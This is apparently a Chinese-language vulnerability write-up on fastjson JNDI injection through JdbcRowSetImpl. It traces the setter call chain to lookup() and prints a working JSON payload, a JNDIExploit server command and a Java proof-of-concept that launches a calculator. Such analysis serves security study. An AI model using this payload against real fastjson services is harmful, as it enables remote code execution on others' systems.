原理
fastjson JNDI注入的原理就是fastjson在进行反序列化的时候会自动调用目标类的getter、setter方法。而com.sun.rowset.JdbcRowSetImpl类在调用setAutoCommit方法时会调用connect(),connect()会调用lookup()方法且参数可控,造成jndi注入
漏洞分析
setter的自动调用分析参考FastJson基础分析中的分析,直接快进到调用的部分
这里调用不是通过setValue去进行invoke的反射调用,而是走到了第600行

步入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法

步入773行com.alibaba.fastjson.parser.deserializer.FieldDeserializer#parseField方法

可以发现在此处调用了setValue方法,跟进就是invoke反射调用setAutoCommit

跟进

步入com.sun.rowset.JdbcRowSetImpl#connect方法

第322行发现调用了lookup进行jndi查询,而传入的参数dataSourceName也可以通过setDataSourceName()传入
所以payload如下
String payload = "{ \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " +
"\"dataSourceName\": \"ldap://127.0.0.1:1389/Basic/Command/open -a Calculator\", " +
"\"autoCommit\": true }";
利用JNDIExploit工具开启JNDI服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1
测试代码
package org.atoposx;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class FastJsonJdbcDeserialize {
public static void main(String[] args) {
String payload = "{ \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " +
"\"dataSourceName\": \"ldap://127.0.0.1:1389/Basic/Command/open -a Calculator\", " +
"\"autoCommit\": true }";
ParserConfig.getGlobalInstance().setAsmEnable(false);
JSON.parseObject(payload);
}
}